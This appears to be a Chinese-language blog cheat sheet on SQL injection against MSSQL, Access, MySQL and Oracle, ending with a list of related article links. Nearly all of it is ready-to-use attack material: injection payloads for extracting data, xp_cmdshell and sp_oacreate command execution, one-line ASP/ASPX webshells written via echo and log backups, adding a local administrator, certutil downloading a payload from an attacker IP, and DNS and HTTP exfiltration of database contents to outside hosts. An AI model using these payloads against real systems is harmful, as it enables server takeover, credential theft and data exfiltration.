?id=-1’ union select (select top 1 username from users where username not in (select top 3 username from users)),null–
//获取users表中排除前三个用户名之后的下一个用户名。


报错注入
?id=1and 1=(select 1/@@servername)–
?id=1and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))
布尔盲注
?id=1and ascii(substring((select db_ name(1)),1,1))> 64
时间盲注
?id= 1;if(2>1) waitfor delay ‘0:0:5’–
?id= 1;if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay ‘0:0:2’–
aspx?id=1;if (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'//如果是sa权限,就延时。
拿shell

mssql拿shell最常见的方法也是最常用的就是xp_cmdshell
通常来说我们只要掌握windows的一些就可以,因为虽然mssql可以搭建在linux/unix平台,但目前为止还没有发现哪些呆逼这么干。

1. 如何找绝对路径

写webshell不难,但是找到绝对路径挺难的,总结了一下找绝对路径的方法

1.  能执行命令的话   
where /R  D:\wwwroot\ /T  t_2810039303.jpg //找一下网站的什么图片,他所在的地方就是web目录.
或者
dir/s/b c:\index.aspx
最好用的办法就是去找iis的那个欢迎界面,或者还有nginx的那个error.html之类的。
或者用for循环找文件爱你
for %i in (c d e f g h i j k l m n o p q r s t u v w x v z) do @(dir/s/b %i:\sql.aspx)
 
2.  能读文件的话 读 iis配置
IIS5.0默认配置文件路径
C:\WINNT\system32\inetsrv\MetaBase.bin
IIS6.0默认配置文件路径
C:\WINDOWS\system32\inetsrv\MetaBase.xml
IIS7.x默认配置文件路径
C:\WINDOWS\system32\inetstr\config\applicationHost.config

3.  都不能的时候 看看找类似是网站目录的路径 访问ashx文件
 
4. 就注入点单引号 看看报错暴路径不。
 
5. iis7.5默认暴路径。
 
6. 看访问ip80 端口 是默认iis页面不 ,写shell到默认网站路径
 
7. 看看有没有网站备份 把路径做个字典都访问一下,还有配置文件中也可能会有网站物理路径。

8. 利用mssql内置函数
		1. xp_dirtree有三个参数,
			1. 要列的目录
			2. 是否要列出子目录下的所有文件和文件夹,默认为0,如果不需要设置为1
			3. 是否需要列出文件,默认为不列,如果需要列文件设置为1
			
			xp_dirtree 'c:\', 1, 1      #列出当前目录下所有的文件和文件夹
			
			通过堆叠注入建表,将输出插入表里,通过注入将表列出来
			
			http://192.168.163.133/sql.aspx?id=1;create table dir(subdirectory varchar(255),depth int, filee int);insert into dir(subdirectory,depth,filee) exec xp_dirtree 'c:\',1,1
			
			因为xp_dirtree输出是三个字段的所以要创建一个三个字段的表 ,字段名可以随便取
			通过sqlmap列出dir表就可以看到目录了
			sqlmap有缓存,可以通过--fresh-queries重新列数据表,--flush-session这个直接清掉缓存重新跑
		
		2. xp_subdirs 'c:\'
		
			这个方法和上面的一样,缺点是不能列出文件

9. 修改404界面
目的是把配置文件替换到报错页面让我们看到
适用于2005或者高权限启动的2008

iis的报错页面一般都在

C:\inetpub\custerr\zh-CN

最后语言这个文件夹可能会变,之前看到湾湾的是zh-TW,如果是外语的话可能也会变成相应的

```Plain Text
exec sp_configure 'show advanced options', 1;RECONFIGURE
exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\inetsrv\config\applicationHost.config' ,'C:\inetpub\custerr\zh-CN\404.htm';

如果是05的数据库要修改配置文件路径
C:\WINDOWS\Help\iisHelp\common\404b.htm #iis6 404页面位置
C:\Windows\system32\inetsrv\metabase.xml #iis6 配置文件
4. XP_CMDSHELL

要求:SA用户

1. 测试一下状态
and 1=(select count(*) from master..sysobjects where xtype = 'x' and name = 'xp_cmdshell')2. 开启xpshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

写马

1.aspx?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\WWW\aufeng.aspx';

翻写遇到 <>
均需要前面加入^     
    < = ^<
    > = ^>
    
echo ^<%eval request("c")%^> >>  D::\web\shell.asp
或者
echo ^ <^%@ Page Language="Jscript" validateRequest="false" %^> ^ <^%Response.Write(eval(Request.Item["w"],"unsafe"));%^> ^ > D:\web\ok.asp

执行命令

1. 执行基础命令
exec master..xp_cmdshell "whoami"
asp?id=3;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add'

2. XP_CMDSHELL把用户hacker加到ADMIN组:
asp?id=3;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'

3. 或者直接下载马:
certutil.exe -urlcache -split -f http://192.168.163.128:8080/artifact.exe

如果提示拒绝访问,可以在找一个能创建文件夹的目录,创建完之后下载到文件夹里

这里会超时,然后sqlmap会重复执行命令,CS会上线好几次,如果不需要的话发现上线直接退出sqlmap即可
5. sp_oacreate

通过堆叠注入开启sp_oacreate

exec sp_configure 'show advanced options', 1;RECONFIGURE
exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE

执行命令

有时候整段可以直接出,有时候得一行行分开。
asp?id=3'declare @o int;
exec sp_oacreate 'wscript.shell',@o out;
exec sp_oamethod @o,'run',null,'cmd /c mkdir c:\temp';
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\temp\user.txt';
create table cmd_output (output text);
BULK INSERT cmd_output FROM 'c:\temp\user.txt' WITH (FIELDTERMINATOR='n',ROWTERMINATOR = 'nn')      -- 括号里面两个参数是行和列的分隔符,随便写就行
select * from cmd_output
log备份getshell
alter database testdb set RECOVERY FULL 
backup database testdb to disk = 'c:\bak.bak'
create table cmd (a image) 
backup log testdb to disk = 'c:\aaa.bak' with init 
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E) 
backup log testdb to disk = 'C:\inetpub\wwwroot\shell.asp'

//0x3C25657865637574652872657175657374282261222929253E是一个免杀一句话
=<%execute(request("a"))%>//16进制转ascii
其他的绕过
<%%25Execute(request("go"))%%>
<%Execute(request("go"))%>
%><%execute request("go")%><%
<script language=VBScript runat=server>execute request("sb")</Script>
<%25Execute(request("l"))%> 
差异备份getshell
假设:http://xxxxx/show.aspx?code=1
中的code参数存在注入点 并且获得数据库名字为abc 爆出了物理路径为e:\xampp\htdocs\dvwa\

(1) 修改数据库设置为恢复模式
http://xxxxx/show.asp?code=1';alter database abc set RECOVERY FULL –

(2) 备份当前数据库日志到文件
http://xxxxx/show.aspx?code=1';backup log abc to disk=‘e:\xampp\htdocs\dvwa’ with init –
备份数据库日志到服务器上,其中路径是网页的物理路径。

(3) 建立一张表和一个字段
http://xxxxx/show.aspx?code=1';create table tt(a text)(4) 往表中插入一句话马子
http://xxxxx/show.asp?code=1';insert into tt(a) values(<%eval request(“abc”) %>) –
values中的内容一般转换为马子的hex值。

(5) 再次备份日志
http://xxxxx/show.asp?code=1';backup log ahykd_new to disk=‘e:\xampp\htdocs\dvwa\1.aspx’ –
再次备份日志,备份路径为网站服务器的物理路径

(6) 删除表
http://xxxxx/show.aspx?code=1';drop table tt –
然后菜刀尝试连接http://xxxxx/1.aspx
ACCESS
Access数据库没有记录所有表名和列名的表,也就意味着我们需要依靠字典进行猜解表名和列

Access数据库中没有注释符号.因此 /**/--# 都没法使用。

sqlmap语句:python sqlmap.py -u "http://test.com/1.asp?id=1" --tables
普通注入

判断注入点

在参数后面加 单引号

http://www.example.com/new_list.asp?id=1' #页面报错

http://www.example.com/new_list.asp?id=1 and 1=1 #页面正常

http://www.example.com/new_list.asp?id=1 and 1=2 #页面报错

猜字段: 1 order by 4 报错 1 order by 3 正确
有回显:

?id=-1 union select 1,2,3,4,5,6,7,8,9,10 from admin(此时页面有显示23)

查列:and exists (select 列名 from 表名) (假设存在user、password)

?id=3 and exists (select * from test)

?id=3 and exists (select * from admin)

?id=3 and exists (select name from admin) 报错,说明不存在

?id=3 and exists (select username from admin) 说明存在username

?id=3 and exists (select password from admin) 说明存在password

?id=-1 union select 1,2,3,4,5,6,7,8,9,10 找到注入位

?id=-1 union select 1,user,password,4,5,6,7,8,9,10 from admin(即可爆出账号密码)
无回显:

查表:and exists (select * from 表名) 存在的话就返回正常 不存在就返回不正常

查列:and exists (select 列名 from 表名)

查内容:and (select top 1 asc(mid(user,1,1))from admin)=97

and (select top 1 asc(mid(user,2,1))from admin)=97 猜字段(username)中第一条记录内容的第二个字符

and (select top 2 asc(mid(user,1,1))from admin)=97 猜字段(username)中第二条记录内容的第一个字符
偏移注入(回显数连续)

假设已经判断存在admin表,order by下判断有35行,且回显如下回显字段连续



UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,* from admin --返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,* from admin --返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,* from admin --返回错误页面

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,* from admin --返回到一个错误页面提示查询语句出错,因此admin表的列数为6

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin

因为回显如下图 28 29 30是连着的,直接在27后加表名.*



爆出内容


UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin where id = 3 添加where id =数值,可得到更多的内容
偏移注入(常规操作)

Access偏移注入:表名知道,列名无法获取的情况下。

存在注入点,且order by下判断出字段数为22行

爆出显位

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

*****号判断直到页面错误有变化

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确

说明admin有6个字段

Access****偏移注入,基本公式为:

order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;

也就是:

* = 6个字符

2 × * = 12个字符

22 - 12 = 10个字符

一级偏移语句:

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)

二级偏移语句:

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

实战常见的表和列(也可以用sqlmap的,但是量大且效率低)

常见的表有(最后根据企业名的缩写搭配上admin、user、name)

admin admins admin_user admin_usr admin_msg admin_login user username manager msg_user msg_login useradmin product、news、usr、system、article、customer、area

admin_id、admin_name、admin_password

常见的列

admin admin_user username password passwd pass pwd users usr user_login user_name login_name name等等

3. 已经有了注入,该如何继续突破

我们常常会获得一些注入,其中如果很幸运的获得了一些报错注入联合注入这样的好注入,可以很快的查询很多信息,甚至还可以拿到OS-SHELL,但是不是所有的时候都可以,我就我遇到的进行一下思考。

盲注->DNS

盲注非常慢,而且还容易被BAN,所以我们要想办法转换成dnslog或者httphog类型的注入,借助dnslog平台获取我们想要的一些数据库信息,甚至下载文件。但是如果想利用sqlmap去进行一个完整的借助dnslog的注入比较复杂,搭建环境比较麻烦,所以我们用更简单的方法。

查询用户名
and (select utl_inaddr.get_host_address((select user from dual)||'.dnslog地址') from dual)is not null --

查询库名
and (select utl_inaddr.get_host_address((select name from v$database)||'.dnslog地址') from dual)is not null --


dnslog的使用比较复杂,涉及到dns的指向
在这么做之前,需要先判断能否进行dns注入

判断能否进行dns注入
sqlmap -u "192.168.171.131/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "alxyceye" --dbs

指向公共dnslog平台,看看有没有数据就行
mysql-DNSLOG
可以 char(ascii(database())) 编码绕过一些输出限制,灵活运用

#查看版本号
 ?id=1 union select 1,load_file(concat('\\\\',( select version()),'.2hlktd.dnslog.cn\\a')),3--+
 
 #查库名
 ?id=1 union select 1,load_file(concat('\\\\',( select database()),'.2hlktd.dnslog.cn\\a')),3--+
 
 #查表名
 select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='mysql' limit 0,1),'.2hlktd.dnslog.cn\\a'))--+
 
 #查列名
 select load_file(concat('\\\\',( select column_name from information_schema.columns where table_schema = 'mysql' and table_name = 'users' limit 0,1),'.2hlktd.dnslog.cn\\a'))--+
 
 #查数据
 select load_file(concat('\\\\',( select id from mysql.user limit 0,1),'.2hlktd.dnslog.cn\\a'))--+
mssql-DNSLOG
1. 开启xp_cmdshell(但是这里都能开shell了我觉得一般来说也可以直接执行命令了)
?id=1; EXEC sp_configure 'show advanced options',1;-- 
?id=1; RECONFIGURE;-- 
?id=1; EXEC sp_configure 'xp_cmdshell',1;-- 
?id=1; RECONFIGURE;-- 

1. dnslog
    2. 验证是否开启
    ?id=1'; exec master..xp_cmdshell 'ping -n 10 127.0.0.1'-- 

    3. 常见payload
    ?id=1;DECLARE @a varchar(1024);set @a=db_name();exec('master..xp_cmdshell "ping -n 2 ' %2b @a  %2b'.2hlktd.dnslog.cn"')-- 
    ?id=2;declare @a varchar(1024);set @a=db_name();exec('master..xp_subdirs "//'%2B@a%2B'.leitu0.log.saltor.icu\\a" ');     
    #注:其他方式xp_subdirs xp_dirtree xp_fileexist

2. httplog
    ?id=1'; DECLARE @a varchar(8000);SET @a=db_name();exec('master..xp_cmdshell "powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.172:8888?data='%2b @a %2b''')"' ) --

    ?id=1'; DECLARE @okma VARCHAR(8000);SET @okma=(SELECT TOP 1 substring(@@version,1,35));exec('master..xp_cmdshell "powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.172:7777/?data='%2b @okma %2b''')"' ) --
oracle-DNSLOG
1. dnslog

    1. 查当前用户名
    and (select utl_inaddr.get_host_address((select user from dual)||'.aaa.com(自己搭建dnslog)') from dual)is not null --

    and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.aaaa.com(自己搭建dnslog)') from dual)is not null --
  
2. httplog
    #判断utl_http是否可用
    id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP')--
    id=1 and (select count(*) from all_objects where object_name='UTL_HTTP')>1--
    id=1 union select 1,null,3,(select count(*) from all_objects where object_name='UTL_HTTP') from dual-- 

    #查询数据库版本指纹
    and utl_http.request('http://172.16.12.172:8888/'%7C%7C'~'%7C%7C(select banner from sys.v_$version where rownum=1))=1--

    #查当前用户名
    id=1 and UTL_HTTP.request('http://ip:监听端口/'||(select user from dual)=1--
    id=1 and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 --  //注意||转码%7C%7C

    #注意:|| 转码%7C%7C
sqlmap部署方法

这里有一篇文章,借助这个部署即可

部署的总体原理就是dns指向sqlmap所在主机从而导致sqlmap可以从dns记录中获取到所需要的字符串

https://www.freebuf.com/news/242008.html

具体利用方法就像如下
sqlmap -u "192.168.171.131/sqli-labs-master/Less-8/?id=1" --technique=T --dns-domain "alxy.top" --dbs 
实际上只多了一个--dns-domain参数,其他的照旧就行

4. 其他的技巧

SQLMAP强制ssl,适用于内网环境
python sqlmap.py -u "https://xxx?xx=xx" --force-ssl --proxy http://127.0.0.1:8081
小程序无法使用sqlmap
小程序sql注入直接粘贴burp中的包是跑不出来的,因为强制https的原因,我们需要在host后面加上443端口。有时候使用“SQLMAP强制ssl,适用于内网环境”也能解决。
绕过MD5哈希检查的例子(MSP)

用户名:admin
密码:1234 ' AND 1=0 UNION ALL SELECT 'admin','81dc9bdb52d04dc20036dbd8313ed055

其中81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)

强制SQL Server来得到NTLM哈希

这个攻击能够帮助你得到目标SQL服务器的Windows密码,不过你的连接很可能会被防火墙拦截。这能作为一个很有用的入侵测试。我们强制SQL服务器连接我们的WindowsUNC共享并通过抓包软件(Cain & Abel)捕捉NTLM session

相关推荐

  1. sql注入注语句

    2024-02-03 05:52:02       12 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-02-03 05:52:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-02-03 05:52:02       18 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-02-03 05:52:02       17 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-02-03 05:52:02       20 阅读

热门阅读

  1. Android 8.1 设置--声音中增加通话音量

    2024-02-03 05:52:02       29 阅读
  2. 计算机网络(第六版)复习提纲15

    2024-02-03 05:52:02       26 阅读
  3. ++i(前置自增)和 i++(后置自增)的区别

    2024-02-03 05:52:02       25 阅读
  4. 【前端插件工具】

    2024-02-03 05:52:02       30 阅读
  5. Vue.js 中父组件调用子组件的方法

    2024-02-03 05:52:02       35 阅读
  6. pip安装tf-gpu=2.4的bug解决方案

    2024-02-03 05:52:02       36 阅读
  7. wpf 消息传递

    2024-02-03 05:52:02       29 阅读
  8. Ubuntu 22.04 配置qtchooser默认启用 Qt6

    2024-02-03 05:52:02       32 阅读